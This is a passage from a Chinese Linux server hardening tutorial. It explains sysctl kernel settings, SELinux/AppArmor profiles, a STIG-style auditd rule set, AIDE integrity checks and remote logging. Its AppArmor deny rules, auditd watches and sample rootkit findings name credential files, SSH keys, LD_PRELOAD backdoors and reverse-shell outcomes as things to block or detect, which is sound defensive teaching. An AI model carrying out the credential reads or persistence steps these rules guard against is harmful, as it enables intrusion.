# ============================================
# 内核安全(★ 提权防护相关)
# ============================================

# ---- 地址空间布局随机化(ASLR)----
# 让每次运行的内存地址都随机,增加 exploit 难度
kernel.randomize_va_space = 2      # 2 = 完全随机(包括栈、堆、mmap、brk)

# ---- 内核指针泄露防护 ----
# 限制 /proc/kallsyms 等内核符号地址的访问
#   0 = 所有人可读
#   1 = 只有 CAP_SYSLOG 可读
#   2 = 完全不可读
kernel.kptr_restrict = 2           # ★ 挡住 exploit 获取内核函数地址

# ---- dmesg 限制 ----
# 限制非特权用户读 dmesg(里面有内核地址泄露)
kernel.dmesg_restrict = 1

# ---- ptrace 限制(防进程注入)----
# Yama 安全模块的 ptrace 范围
#   0 = 任何进程可 ptrace 同 uid 的进程
#   1 = 只能 ptrace 子进程(推荐)
#   2 = 只有 CAP_SYS_PTRACE 能 ptrace
#   3 = 完全禁止
kernel.yama.ptrace_scope = 2       # ★ 防 gdb 注入攻击

# ---- 核心转储限制 ----
# 核心转储里可能有敏感数据(密码、密钥)
# 而且 SUID 程序的 core dump 可能泄露特权内存
fs.suid_dumpable = 0               # 0 = SUID 程序不产生 core dump
kernel.core_pattern = |/bin/false  # 或者干脆不产生
# 如果要保留 core 用于调试:
# kernel.core_pattern = /var/coredumps/core-%e-%p-%t

# ---- 内核模块 ----
# 生产环境可考虑禁止加载内核模块(★ 最强防护)
# 但会影响 Docker、某些驱动,要评估
# kernel.modules_disabled = 1
# ★ 注意:设为 1 后无法再加载任何模块,直到重启

# ---- eBPF 限制 ----
# 禁止非特权用户使用 eBPF(★ 防 eBPF Rootkit 和某些提权)
kernel.unprivileged_bpf_disabled = 1
# BPF JIT 加固(让 JIT 编译的代码不可预测)
net.core.bpf_jit_harden = 2

# ---- 用户命名空间限制 ----
# 非特权用户能否创建用户命名空间
# (很多提权 exploit 依赖 unprivileged user namespace)
#   0 = 允许
#   1 = 禁止(需要 kernel.unprivileged_userns_clone 补丁,或新版用下面的)
# Debian/Ubuntu:
kernel.unprivileged_userns_clone = 0
# RHEL/CentOS 7.6+:
# user.max_user_namespaces = 0

# ---- 其他 ----
# 限制 /proc/<pid> 的可见性(hidepid)
#   0 = 所有人可见
#   1 = 只能看自己的
#   2 = 只能看自己的,且完全隐藏其他进程
# 需要重新挂载 proc:
#   mount -o remount,hidepid=2 /proc
# /etc/fstab:
#   proc  /proc  proc  defaults,hidepid=2  0  0

# ---- 文件系统 ----
# 允许所有用户创建硬链接(关掉,防 TOCTOU 攻击)
fs.protected_hardlinks = 1
# 允许在全局可写目录创建符号链接指向他人文件(关掉)
fs.protected_symlinks = 1
# 限制 FIFO(管道)的创建
fs.protected_fifos = 2
# 限制普通文件创建(防止往不该写的地方写)
fs.protected_regular = 2

# ---- 虚拟内存 ----
# 过度提交策略(0 = 启发式,1 = 总是允许,2 = 严格)
vm.overcommit_memory = 0
vm.overcommit_ratio = 50

# ---- SysRq 键 ----
# SysRq 组合键功能(禁用防止物理接触攻击)
#   0 = 完全禁用
#   1 = 全部启用
#   大于 1 = 位掩码
kernel.sysrq = 0
EOF

# 应用配置
sysctl -p /etc/sysctl.d/99-security.conf

# 或者
sysctl --system

# 验证
sysctl -a | grep -E 'randomize_va_space|kptr_restrict|dmesg_restrict|ptrace_scope'

sysctl 参数的注意事项:

⚠️ 这几个参数可能影响业务,要评估:

① kernel.modules_disabled = 1
   影响:Docker 无法启动、无法加载新驱动、无法 mount 某些文件系统
   建议:只在不需要容器的物理机上开

② kernel.yama.ptrace_scope = 2
   影响:gdb 调试其他进程会失败(即使同用户)
   建议:开发环境用 1,生产环境用 2

③ fs.suid_dumpable = 0
   影响:SUID 程序崩溃时不产生 core,调试困难
   建议:生产环境开

④ kernel.unprivileged_userns_clone = 0
   影响:Chrome/Chromium 沙箱、某些容器工具可能无法用
   建议:服务器上开,桌面环境评估

⑤ vm.overcommit_memory
   影响:设为 2 可能导致内存分配失败(Redis 会警告)
   建议:保持 0

⑥ hidepid=2
   影响:普通用户 ps 只能看到自己的进程(这是好事,但可能影响某些监控)
   建议:多用户服务器开

★ 原则:先在测试环境验证,再上生产

6.4.4 强制访问控制(SELinux / AppArmor)

白话:为什么需要 MAC

传统的 Linux 权限叫 DAC(自主访问控制,Discretionary Access Control):
  - 文件的【主人】可以决定谁能访问它(chmod)
  - root 可以无视一切权限

问题:
  - 如果 Apache 被攻陷(拿到 www-data),
    www-data 能读所有它"被允许读"的文件
  - 如果拿到 root,一切都完了

MAC(强制访问控制,Mandatory Access Control):
  - 由【系统策略】决定谁能访问什么
  - ★ 连 root 都不能违反(除非改策略)
  - 每个进程、每个文件都有"标签"(安全上下文)
  - 策略规定"带 A 标签的进程能访问带 B 标签的文件"

生活类比:
  DAC = 你自己决定家里的钥匙给谁
  MAC = 物业规定:住户只能进自己家和公共区域,
        就算你是业主委员会主任(root)也不能随便进别人家

SELinux vs AppArmor:

维度 SELinux AppArmor
默认发行版 RHEL/CentOS/Fedora Ubuntu/Debian/SUSE
标签方式 给每个文件打标签(inode 扩展属性) 按路径定义策略
学习曲线 陡峭(概念多、难调试) 平缓(配置直观)
灵活性 极高(能表达非常细粒度的策略) 中等
默认策略 严格(可能挡住正常业务) 宽松(多数只保护特定服务)
排障难度 高(要看 audit 日志、用 ausearch/setroubleshoot) 低
容器集成 好(K8s 支持 SELinux 标签) 好(Docker/K8s 都支持)

SELinux 三种模式:

# 查看当前模式
getenforce
#   Enforcing  强制执行(违反策略就拒绝 + 记录)
#   Permissive 宽容模式(只记录不拒绝)★ 排障时用这个
#   Disabled   完全禁用

# 临时切换
setenforce 0        # → Permissive
setenforce 1        # → Enforcing

# 永久修改
# /etc/selinux/config
SELINUX=enforcing
SELINUXTYPE=targeted
# 需要重启

# 查看上下文
ls -Z /var/www/html/index.html
# -rw-r--r--. root root system_u:object_r:httpd_sys_content_t:s0 index.html
#                                      ↑ 类型标签

ps -Z -C httpd
# system_u:system_r:httpd_t:s0  1234 ?  00:00:00 httpd
#                     ↑ 进程的类型标签

# ★ 策略的核心:httpd_t 类型的进程 能访问 httpd_sys_content_t 类型的文件

# 修改上下文
chcon -t httpd_sys_content_t /path/to/file
# 永久修改(写进策略库)
semanage fcontext -a -t httpd_sys_content_t "/web(/.*)?"
restorecon -Rv /web

# 查看布尔开关(SELinux 的"功能开关")
getsebool -a | grep httpd

# 打开一个开关(比如允许 httpd 连数据库)
setsebool -P httpd_can_network_connect_db 1
# -P = 永久生效

# ★ 排障流程(最重要):
# ① 先切到 Permissive,看问题是否消失
setenforce 0
# ② 重现问题,看 audit 日志
ausearch -m avc -ts recent
# 或者
grep AVC /var/log/audit/audit.log
# ③ 用 audit2why 分析原因
ausearch -m avc -ts recent | audit2why
# ④ 用 audit2allow 生成策略模块(谨慎!不要无脑放行)
ausearch -m avc -ts recent | audit2allow -M mypolicy
semodule -i mypolicy.pp
# ⑤ 切回 Enforcing 验证
setenforce 1

# ★ 常见错误:
#   "SELinux 挡住了我" → 直接 setenforce 0 或 SELINUX=disabled
#   这是把安全机制整个关掉,等于因噎废食
#   正确做法:分析 audit 日志,写正确的策略

AppArmor 配置(更简单):

# 查看状态
aa-status
#   会列出:已加载的 profile、哪些在 enforce 模式、哪些在 complain 模式

# profile 位置
ls /etc/apparmor.d/

# ★ profile 示例:限制 nginx
cat /etc/apparmor.d/usr.sbin.nginx << 'EOF'
#include <tunables/global>

/usr/sbin/nginx {
  #include <abstractions/base>
  #include <abstractions/nameservice>

  # ---- 能读的 ----
  /etc/nginx/** r,                    # r = read
  /usr/share/nginx/** r,
  /var/www/html/** r,

  # ---- 能写的 ----
  /var/log/nginx/*.log w,             # w = write
  /var/lib/nginx/** rw,
  /var/cache/nginx/** rw,

  # ---- 能执行的 ----
  /usr/sbin/nginx mr,                 # m = mmap(内存映射,执行时需要)ix = inherit exec
  /usr/bin/** ix,

  # ---- ★ 显式拒绝(可选,默认就是拒绝)----
  deny /etc/shadow r,
  deny /etc/passwd w,
  deny /root/** rw,
  deny /home/** rw,

  # ---- 网络 ----
  network inet tcp,
  network inet6 tcp,

  # ---- 能力 ----
  capability net_bind_service,        # 能绑 1024 以下端口
  capability setgid,
  capability setuid,

  # ---- 信号 ----
  signal (receive) peer=/usr/sbin/nginx,
}
EOF

# 权限字母含义:
#   r  = read          读
#   w  = write         写
#   a  = append        追加
#   l  = link          硬链接
#   k  = lock          文件锁
#   m  = mmap          内存映射
#   x  = exec          执行
#     ix = inherit exec    继承当前 profile(在这个 profile 下执行)
#     cx = child exec      用子 profile
#     px = profile exec    切换到另一个 profile
#     ux = unconfined exec 不受限制地执行(危险!)
#   C  = 需要 CAP_DAC_OVERRIDE

# ★ 两种模式:
#   enforce   强制执行(违反就拒绝)
#   complain  只记录不拒绝(★ 排障用,类似 SELinux 的 Permissive)

# 加载 profile
apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# 切换到 complain 模式(排障)
aa-complain /usr/sbin/nginx

# 切换回 enforce
aa-enforce /usr/sbin/nginx

# 自动生成 profile(★ 很实用)
aa-genprof /usr/sbin/nginx
# 它会让你在另一个终端跑一遍应用的正常操作,
# 然后根据实际用到的权限生成 profile

# 从日志生成
aa-logprof
# 分析 /var/log/syslog 里的 AppArmor 拒绝记录,
# 交互式地问你要不要放行

★ MAC 的实战价值(面试加分):

场景:Web 服务器被上传了 webshell

没有 MAC:
  webshell 以 www-data 运行
  → 能读 /var/www 下所有文件(包括配置里的数据库密码)
  → 能读 ~/.ssh/id_rsa(如果有)
  → 能执行命令(如果有漏洞能提权)
  → 能反弹 shell

有 MAC(AppArmor/SELinux 限制了 nginx):
  webshell 以 www-data 运行
  → 但 nginx 的 profile 规定:
     只能读 /var/www/html/**
     只能写 /var/log/nginx/*.log
     不能连外网(network 只允许监听,不允许主动外连)
  → ★ webshell 读不到配置文件
  → ★ webshell 反弹不了 shell(不能主动外连)
  → ★ webshell 写不了其他目录
  → 攻击者的利用空间被压缩到几乎为零

★ 这就是"纵深防御"的价值:
  MAC 不能阻止漏洞被利用,
  但能让"利用了也没什么用"。

6.4.5 审计(auditd)

白话:auditd 是 Linux 的“黑匣子”, 能记录“谁在什么时候对什么文件做了什么操作”,比普通日志详细得多。

普通日志(syslog):记录应用自己想记的东西
auditd:          在【内核层面】记录系统调用,应用无法绕过

★ 关键区别:
  攻击者可以关掉 syslog、删掉日志
  但 auditd 的规则在内核里,
  攻击者要关掉它需要 root + 留下明显痕迹
  而且可以配置成"规则锁定,root 也改不了"

auditd 规则语法:

# 三种规则类型:
#   ① 文件系统监视(-w):监控某个文件/目录
#   ② 系统调用监视(-a):监控某个系统调用
#   ③ 控制规则:配置 auditd 自身

# ---- ① 文件系统监视 ----
# 语法:-w <路径> -p <权限> -k <关键字>
#   权限:r=读 w=写 x=执行 a=属性变更
-w /etc/passwd -p wa -k identity
#   监控 /etc/passwd 的写和属性变更,打上关键字 identity

# ---- ② 系统调用监视 ----
# 语法:-a <动作>,<列表> -S <系统调用> -F <过滤条件> -k <关键字>
-a always,exit -F arch=b64 -S chmod -F auid>=1000 -k perm_mod
#   监控 64 位架构的 chmod 系统调用,
#   过滤条件:真实用户 ID >= 1000(排除系统账号)

# ---- 关键概念 ----
#   auid  = Audit UID(登录时的原始 UID,su/sudo 后不变)
#           ★ 这是审计的关键:能追溯到"最初是谁登录的"
#   uid   = 当前有效 UID(su 后会变)
#   euid  = 有效 UID
#   exit  = 系统调用的返回值
#   always,exit = 系统调用退出时记录(这样才能拿到返回值)

生产级 auditd 规则集:

# ============================================
# /etc/audit/rules.d/99-hardening.rules
# 基于 STIG / CIS Benchmark
# ============================================

# ---------- 首先删除已有规则(避免重复)----------
-D

# ---------- 缓冲区设置 ----------
# 增大缓冲区,避免高负载时丢日志
-b 8192
# 缓冲区满时的行为:
#   0 = 静默(会丢日志)
#   1 = 打印警告(推荐)
#   2 = panic(内核恐慌,太激进)
-f 1
# 单次事件最大条数
--backlog_wait_time 60000

# ============================================
# 1. 账户与身份相关(★ 最重要)
# ============================================
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
-w /etc/group -p wa -k identity
-w /etc/gshadow -p wa -k identity
-w /etc/security/opasswd -p wa -k identity
-w /etc/nsswitch.conf -p wa -k identity
-w /etc/pam.conf -p wa -k identity
-w /etc/pam.d/ -p wa -k identity
-w /etc/sudoers -p wa -k identity
-w /etc/sudoers.d/ -p wa -k identity

# ============================================
# 2. 提权相关(★ 检测提权行为)
# ============================================
# 监控 setuid/setgid 系统调用(提权的核心)
-a always,exit -F arch=b64 -S setuid -S setreuid -S setresuid -k setuid
-a always,exit -F arch=b64 -S setgid -S setregid -S setresgid -k setgid

# 监控 chmod/chown(改文件权限,SUID 提权常用)
-a always,exit -F arch=b64 -S chmod -S fchmod -S fchmodat -F auid>=1000 -F auid!=4294967295 -k perm_mod
-a always,exit -F arch=b64 -S chown -S fchown -S fchownat -S lchown -F auid>=1000 -F auid!=4294967295 -k perm_mod
-a always,exit -F arch=b64 -S setxattr -S lsetxattr -S fsetxattr -S removexattr -S lremovexattr -S fremovexattr -F auid>=1000 -F auid!=4294967295 -k perm_mod

# 监控内核模块加载(Rootkit)
-a always,exit -F arch=b64 -S init_module -S finit_module -S delete_module -k kernel_modules
-w /sbin/insmod -p x -k kernel_modules
-w /sbin/modprobe -p x -k kernel_modules
-w /sbin/rmmod -p x -k kernel_modules

# 监控 ptrace(进程注入)
-a always,exit -F arch=b64 -S ptrace -k tracing
# 注意:如果开了 yama.ptrace_scope,这条规则的日志会少很多

# 监控 mount(容器逃逸、挂载攻击)
-a always,exit -F arch=b64 -S mount -S umount2 -k mounts

# ============================================
# 3. 持久化相关(★ 检测后门植入)
# ============================================
# 定时任务
-w /etc/crontab -p wa -k cron
-w /etc/cron.d/ -p wa -k cron
-w /etc/cron.daily/ -p wa -k cron
-w /etc/cron.hourly/ -p wa -k cron
-w /etc/cron.weekly/ -p wa -k cron
-w /etc/cron.monthly/ -p wa -k cron
-w /var/spool/cron/ -p wa -k cron
-w /etc/anacrontab -p wa -k cron

# 服务
-w /etc/systemd/system/ -p wa -k systemd
-w /lib/systemd/system/ -p wa -k systemd
-w /usr/lib/systemd/system/ -p wa -k systemd
-w /etc/init.d/ -p wa -k initd
-w /etc/rc.local -p wa -k initd

# 动态链接劫持(★ LD_PRELOAD 后门)
-w /etc/ld.so.preload -p wa -k ld_preload
-w /etc/ld.so.conf -p wa -k ld_preload
-w /etc/ld.so.conf.d/ -p wa -k ld_preload

# SSH 密钥
-w /root/.ssh/ -p wa -k ssh_keys
-w /home/ -p wa -k ssh_keys    # 太宽泛,可选
# 更精确:对每个用户的 .ssh 单独加规则

# shell 配置文件
-w /etc/profile -p wa -k shell_config
-w /etc/bash.bashrc -p wa -k shell_config
-w /etc/profile.d/ -p wa -k shell_config

# ============================================
# 4. 命令执行审计(★ 完整记录所有命令)
# ============================================
# 监控 execve(程序执行)
-a always,exit -F arch=b64 -S execve -F auid>=1000 -F auid!=4294967295 -k cmd_exec
-a always,exit -F arch=b32 -S execve -F auid>=1000 -F auid!=4294967295 -k cmd_exec
# ⚠️ 这条会产生海量日志,生产环境要评估
#    建议只对特权用户或特定目录开启

# 监控 root 的所有命令
-a always,exit -F arch=b64 -S execve -F auid=0 -k root_cmd

# ============================================
# 5. 文件删除(防痕迹清除)
# ============================================
-a always,exit -F arch=b64 -S unlink -S unlinkat -S rename -S renameat -F auid>=1000 -F auid!=4294967295 -k delete

# 监控日志目录(防清日志)
-w /var/log/ -p wa -k log_tamper
# ⚠️ 这条会产生大量日志(因为日志本身在写)
#    更精确的做法:只监控删除操作

# ============================================
# 6. 网络相关
# ============================================
# 监控网络配置修改
-w /etc/hosts -p wa -k network_mod
-w /etc/resolv.conf -p wa -k network_mod
-w /etc/sysctl.conf -p wa -k network_mod
-w /etc/sysctl.d/ -p wa -k network_mod
-a always,exit -F arch=b64 -S sethostname -S setdomainname -k network_mod

# 监控 iptables 修改
-w /usr/sbin/iptables -p x -k firewall
-w /usr/sbin/ip6tables -p x -k firewall

# ============================================
# 7. 时间修改(防日志时间篡改)
# ============================================
-a always,exit -F arch=b64 -S adjtimex -S settimeofday -k time_change
-a always,exit -F arch=b32 -S adjtimex -S settimeofday -S clock_settime -k time_change
-w /etc/localtime -p wa -k time_change

# ============================================
# 8. 审计系统自身(★ 防攻击者关闭审计)
# ============================================
-w /etc/audit/ -p wa -k audit_config
-w /etc/audit/rules.d/ -p wa -k audit_config
-w /etc/libaudit.conf -p wa -k audit_config
-w /sbin/auditctl -p x -k audit_tools
-w /sbin/auditd -p x -k audit_tools
-w /usr/sbin/auditd -p x -k audit_tools

# ============================================
# 9. 登录与会话
# ============================================
-w /var/log/lastlog -p wa -k logins
-w /var/log/faillog -p wa -k logins
-w /var/log/tallylog -p wa -k logins
-w /var/run/utmp -p wa -k session
-w /var/log/wtmp -p wa -k session
-w /var/log/btmp -p wa -k session

# ============================================
# 10. 关键二进制文件(防被替换)
# ============================================
-w /usr/bin/passwd -p x -k privileged_cmd
-w /usr/bin/sudo -p x -k privileged_cmd
-w /usr/bin/su -p x -k privileged_cmd
-w /usr/sbin/sshd -p x -k privileged_cmd
-w /usr/bin/chsh -p x -k privileged_cmd

# ============================================
# 最后:锁定配置(★ 防止攻击者修改规则)
# ============================================
# -e 2  锁定配置,任何人都改不了(包括 root)
#        改规则需要重启系统
# ⚠️ 生产环境如果要开,要确保规则已经完善
#    否则改规则要重启,很麻烦
# -e 2

# -e 1  启用审计
-e 1

auditd 日志查询:

# ---------- 基本查询 ----------
# 按关键字查
ausearch -k identity              # 查账户相关
ausearch -k kernel_modules        # 查内核模块加载
ausearch -k ld_preload            # 查 LD_PRELOAD 篡改

# 按时间查
ausearch -ts today                # 今天
ausearch -ts yesterday            # 昨天
ausearch -ts "09/02/2026" -te "09/03/2026"
ausearch -ts recent               # 最近 10 分钟
ausearch -ts "2026-09-02 13:00:00" -te now

# 按用户查
ausearch -ua alice                # 按用户名
ausearch -ui 1000                 # 按 UID
ausearch -auid 1000               # ★ 按登录时原始 UID(su 后也能追溯)

# 按事件类型查
ausearch -m LOGIN                 # 登录事件
ausearch -m USER_LOGIN
ausearch -m AVC                   # SELinux 拒绝
ausearch -m ANOM_ABEND            # 程序异常终止(可能是 exploit 失败)
ausearch -m USER_AUTH             # 认证

# 按系统调用查
ausearch -sc execve               # 程序执行
ausearch -sc setuid               # 提权
ausearch -sc unlink               # 删除文件

# 按结果查(只看成功的)
ausearch -k setuid -sv yes
# 只看失败的
ausearch -k setuid -sv no

# ---------- 生成报告 ----------
aureport                          # 总览报告
aureport -au                      # 认证报告
aureport -l                       # 登录报告
aureport -u                       # 用户报告
aureport -f                       # 文件报告
aureport -c                       # 命令报告(需要配置了 execve 规则)
aureport -k                       # 按关键字统计
aureport -x                       # 可执行文件报告
aureport -m                       # 账户修改报告
aureport --summary                # 摘要

# ★ 应急响应常用组合:
# ① 谁在什么时候提权了
ausearch -k setuid -ts today | aureport -u

# ② 谁加载了内核模块
ausearch -k kernel_modules -ts today

# ③ 谁改了 /etc/passwd
ausearch -k identity -ts today -i

# ④ 谁删了文件
ausearch -k delete -ts today | grep -E "unlink|rename"

# ⑤ 某个用户的所有操作
ausearch -auid 1000 -ts today

# ---------- 日志格式解读 ----------
# 典型的一条 audit 日志:
# type=SYSCALL msg=audit(1693545600.123:12345): arch=c000003e syscall=105 success=yes exit=0
#   a0=0 a1=7ffd12345678 a2=1 a3=0 items=2 ppid=1234 pid=1235 auid=1000 uid=0 gid=0
#   euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="chown"
#   exe="/usr/bin/chown" key="perm_mod"
#
# 关键字段:
#   type=SYSCALL        事件类型
#   msg=audit(...:12345) 时间戳:事件ID
#   syscall=105         系统调用号(105 = setuid)
#   success=yes         成功还是失败
#   exit=0              返回值
#   auid=1000           ★ 登录时的原始 UID(谁登录的)
#   uid=0               ★ 当前 UID(变成了 root!)
#   euid=0              有效 UID
#   comm="chown"        命令名
#   exe="/usr/bin/chown" 可执行文件
#   key="perm_mod"      规则关键字
#
# ★ 分析要点:
#   如果看到 auid=1000 uid=0 success=yes syscall=setuid
#   → 说明 uid 1000 的用户成功提权到了 root!

# ---------- 远程日志(防止本机被删)----------
# /etc/audisp/audisp-remote.conf
# remote_server = siem.example.com
# port = 60
# transport = tcp
# 
# /etc/audit/auditd.conf
# name_format = HOSTNAME     # 日志里用主机名,方便集中分析
# 
# 启用远程插件
# /etc/audisp/plugins.d/au-remote.conf
# active = yes
# direction = out
# 
# systemctl restart auditd

auditd 的注意事项:

⚠️ 三个常见的坑:

① 日志量爆炸
   监控 execve 会产生海量日志(每个命令一条)
   解决:
     - 只对特权用户(auid=0)开
     - 用 -F 过滤条件缩小范围
     - 配置日志轮转和自动清理
     - 用 rate limiting(/etc/audit/auditd.conf 的 max_log_file_action)

② 性能影响
   每条规则都会增加系统调用的开销
   一般影响 < 5%,但极端场景可能到 20%
   解决:精简规则,不做无用监控

③ -e 2 锁定后改规则要重启
   解决:
     - 先在测试环境把规则调好
     - 或者不锁定,改为监控 audit 配置的变化(有告警就够了)

★ 重要:auditd 的日志一定要【实时外发】
   否则攻击者拿到 root 后第一件事就是 ausearch 都没了

6.4.6 文件完整性监控(FIM)

白话:给系统文件拍一张“指纹快照”(哈希), 定期比对,文件被改了就能发现。

# ========== AIDE(Advanced Intrusion Detection Environment)==========

# 安装
apt install aide aide-common          # Debian/Ubuntu
yum install aide                      # RHEL/CentOS

# 配置 /etc/aide/aide.conf
cat > /etc/aide/aide.conf << 'EOF'
# 数据库位置
database=file:/var/lib/aide/aide.db
database_out=file:/var/lib/aide/aide.db.new
database_new=file:/var/lib/aide/aide.db.new

# 日志
report_url=file:/var/log/aide/aide.log
report_url=stdout

# ============================================
# 规则定义
# ============================================
# 每个字母的含义:
#   p = permissions  权限
#   i = inode        inode 号
#   n = number of links  链接数
#   u = user         属主
#   g = group        属组
#   s = size         大小
#   b = block count  块数
#   m = mtime        修改时间
#   a = atime        访问时间
#   c = ctime        状态改变时间
#   S = 检查增长的 size
#   md5 / sha1 / sha256 / sha512 = 哈希算法
#   R = p+i+n+u+g+s+m+c+md5            (常用组合)
#   L = p+i+n+u+g                       (宽松,符号链接用)
#   E = 空组(不检查)
#   > = 只对增长的文件记录(日志用)

# 常用规则
Binlib     = p+i+n+u+g+s+b+m+c+sha512
ConfFiles  = p+i+n+u+g+s+b+m+c+sha512
Logs       = p+i+n+u+g+S
Databases  = p+i+n+u+g
StaticDir  = p+i+n+u+g
ManPages   = p+i+n+u+g+s+b+m+c+sha512

# ============================================
# 监控范围(★ 关键配置)
# ============================================

# ---------- 系统二进制(最该监控的)----------
/bin        Binlib
/sbin       Binlib
/usr/bin    Binlib
/usr/sbin   Binlib
/usr/local/bin  Binlib
/usr/local/sbin Binlib
/lib        Binlib
/lib64      Binlib
/usr/lib    Binlib
/usr/lib64  Binlib

# ---------- 配置文件 ----------
/etc        ConfFiles
# 但排除频繁变化的
!/etc/mtab
!/etc/adjtime
!/etc/resolv.conf          # DHCP 会改
!/etc/network/run
!/etc/NetworkManager
!/etc/hosts.deny
!/etc/cups/subscriptions.conf
!/etc/certs/ca-certificates.crt
!/etc/ssl/certs
!/etc/udev/rules.d/70-persistent-net.rules
!/etc/localtime
!/etc/passwd-              # 备份文件
!/etc/shadow-
!/etc/group-
!/etc/gshadow-

# ---------- 重点文件(单独列出,提高优先级)----------
/etc/passwd       ConfFiles
/etc/shadow       ConfFiles
/etc/group        ConfFiles
/etc/gshadow      ConfFiles
/etc/sudoers      ConfFiles
/etc/sudoers.d    ConfFiles
/etc/ssh/sshd_config  ConfFiles
/etc/crontab      ConfFiles
/etc/cron.d       ConfFiles
/etc/cron.daily   ConfFiles
/etc/cron.hourly  ConfFiles
/etc/cron.weekly  ConfFiles
/etc/cron.monthly ConfFiles
/etc/systemd/system  ConfFiles
/lib/systemd/system  ConfFiles
/etc/pam.d        ConfFiles
/etc/security     ConfFiles
/etc/ld.so.preload  ConfFiles      # ★ 如果不存在会被报告"新增",这本身也是告警
/etc/ld.so.conf   ConfFiles
/etc/ld.so.conf.d ConfFiles
/etc/init.d       ConfFiles
/etc/rc.local     ConfFiles
/etc/profile      ConfFiles
/etc/bash.bashrc  ConfFiles
/etc/profile.d    ConfFiles
/etc/audit        ConfFiles
/etc/selinux      ConfFiles
/etc/apparmor.d   ConfFiles
/boot             ConfFiles

# ---------- 日志目录(只检查是否增长/被删)----------
/var/log   Logs
!/var/log/aide
!/var/log/audit

# ---------- root 的家目录 ----------
/root/\.ssh    ConfFiles
/root/\.bashrc ConfFiles
/root/\.profile ConfFiles

# ---------- ★ 不监控的(避免噪音)----------
!/proc
!/sys
!/dev
!/tmp
!/var/tmp
!/var/cache
!/var/spool
!/var/lib
!/run
!/mnt
!/media
!/home/*/\.mozilla
!/home/*/\.cache
!/home/*/\.config
EOF

# ---------- 初始化数据库(★ 必须在"干净"的系统上做)----------
aide --init
# 会生成 /var/lib/aide/aide.db.new
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# ★ 重要:把数据库备份到只读介质 / 远程
#   否则攻击者可以直接改数据库,绕过检测
cp /var/lib/aide/aide.db /mnt/readonly/aide.db.initial

# ---------- 检查 ----------
aide --check
# 输出示例:
# AIDE found differences between database and filesystem!!
#
# Summary:
#   Total number of files:        123456
#   Added files:                  2
#   Removed files:                0
#   Changed files:                3
#
# ---------------------------------------------------
# Added files:
# ---------------------------------------------------
# added: /usr/bin/.hidden_backdoor
# added: /etc/ld.so.preload
#
# ---------------------------------------------------
# Changed files:
# ---------------------------------------------------
# changed: /usr/sbin/sshd
# changed: /bin/ls
# changed: /etc/passwd
#
# ★ 看到 "added: /etc/ld.so.preload" 和 "changed: /usr/sbin/sshd"
#   → 基本可以确认被 Rootkit 了

# ---------- 更新数据库(确认变更是合法的之后)----------
aide --update
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# ---------- 自动化:每天检查 ----------
# /etc/cron.daily/aide(Debian/Ubuntu 安装包自带)
# 或手动加到 crontab
cat > /etc/cron.d/aide << 'EOF'
# 每天凌晨 5 点检查
0 5 * * * root /usr/bin/aide --check | /usr/bin/mail -s "AIDE Report $(hostname)" security@example.com
EOF

# ★ 更好的做法:把报告发到 SIEM / 告警系统,
#   而不是邮件(邮件可能被忽略)

# ========== 其他 FIM 工具 ==========
# Tripwire      商业级,功能强(开源版功能受限)
# Samhain       支持集中管理
# OSSEC         完整 HIDS,包含 FIM 功能
# Wazuh         OSSEC 的现代分支,有 Web 界面

6.4.7 日志加固

# ========== ① rsyslog 远程日志(★ 最重要)==========
# /etc/rsyslog.d/99-remote.conf

# 用 TCP(@@)而不是 UDP(@),保证不丢
*.* @@siem.example.com:514

# 或者用更可靠的 RELP(需要 rsyslog-relp 模块)
# *.* :omrelp:siem.example.com:2514

# 磁盘队列(网络断了先缓存,恢复后补发)
$ActionQueueFileName fwdRule1
$ActionQueueMaxDiskSpace 1g
$ActionQueueSaveOnShutdown on
$ActionQueueType LinkedList
$ActionResumeRetryCount -1        # -1 = 无限重试

# ★ 效果:
#   本机日志被删了,SIEM 上还有
#   这是"让日志删不掉"的核心手段

# ========== ② 日志轮转(logrotate)==========
# /etc/logrotate.d/syslog
cat > /etc/logrotate.d/custom << 'EOF'
/var/log/*.log {
    daily                   # 每天轮转
    rotate 90               # 保留 90 份(★ 合规通常要求 6 个月)
    missingok               # 文件不存在不报错
    notifempty              # 空文件不轮转
    compress                # 压缩
    delaycompress           # 延迟一天压缩(避免正在写的文件)
    sharedscripts           # 所有文件轮转完再执行一次脚本
    create 0640 root adm    # 新建文件的权限
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
    endscript
}

# ★ 安全日志保留更久
/var/log/auth.log /var/log/secure /var/log/audit/audit.log {
    daily
    rotate 365              # ★ 保留 1 年
    missingok
    notifempty
    compress
    delaycompress
    create 0600 root root   # ★ 只有 root 能读
    sharedscripts
    postrotate
        /usr/lib/rsyslog/rsyslog-rotate
    endscript
}
EOF

# 测试配置
logrotate -d /etc/logrotate.d/custom      # -d = debug,不实际执行
logrotate -f /etc/logrotate.d/custom      # -f = 强制执行

# ========== ③ 保护日志文件不被删 ==========
# 方法 A:chattr +a(只能追加)
chattr +a /var/log/auth.log
chattr +a /var/log/syslog
chattr +a /var/log/secure
chattr +a /var/log/audit/audit.log
# ★ 效果:能写日志,但删不掉、改不了
#   攻击者要删必须先 chattr -a,会留下痕迹

# 方法 B:日志目录设为 append-only
chattr +a /var/log/audit/

# 方法 C:远程日志(最彻底)

# ========== ④ 时间同步(★ 日志分析的基础)==========
# 如果各机器时间不一致,日志关联分析就废了
apt install chrony
# /etc/chrony/chrony.conf
# server ntp1.example.com iburst
# server ntp2.example.com iburst
systemctl enable chronyd
systemctl start chronyd
chronyc sources -v         # 查看同步状态

# ★ 安全相关:防止时间被篡改
#   - NTP 服务器用内部可信的
#   - 启用 NTP 认证(防止 NTP 欺骗)
#   - auditd 监控时间修改(前面配过 -k time_change)

# ========== ⑤ 记录所有命令(防御 history 被清)==========
# /etc/profile.d/99-command-log.sh
cat > /etc/profile.d/99-command-log.sh << 'EOF'
# 把每个命令实时写到 syslog(本机的 history 被清也没用)
# ★ 注意:这会被绕过(用户可以用自己编译的 shell,或者 sh 不加载 profile)
#         所以只能作为补充手段,不能替代 auditd 和堡垒机

# 只对交互式 shell 生效
if [ -n "$BASH_VERSION" ] && [ -t 0 ]; then
    # 记录格式:用户 时间 当前目录 命令
    export PROMPT_COMMAND='RETRN_VAL=$?; \
        logger -p local6.debug \
